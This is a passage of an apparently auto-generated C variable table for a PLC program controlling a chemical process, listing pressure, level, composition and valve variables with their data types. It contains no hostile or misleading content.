+{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, 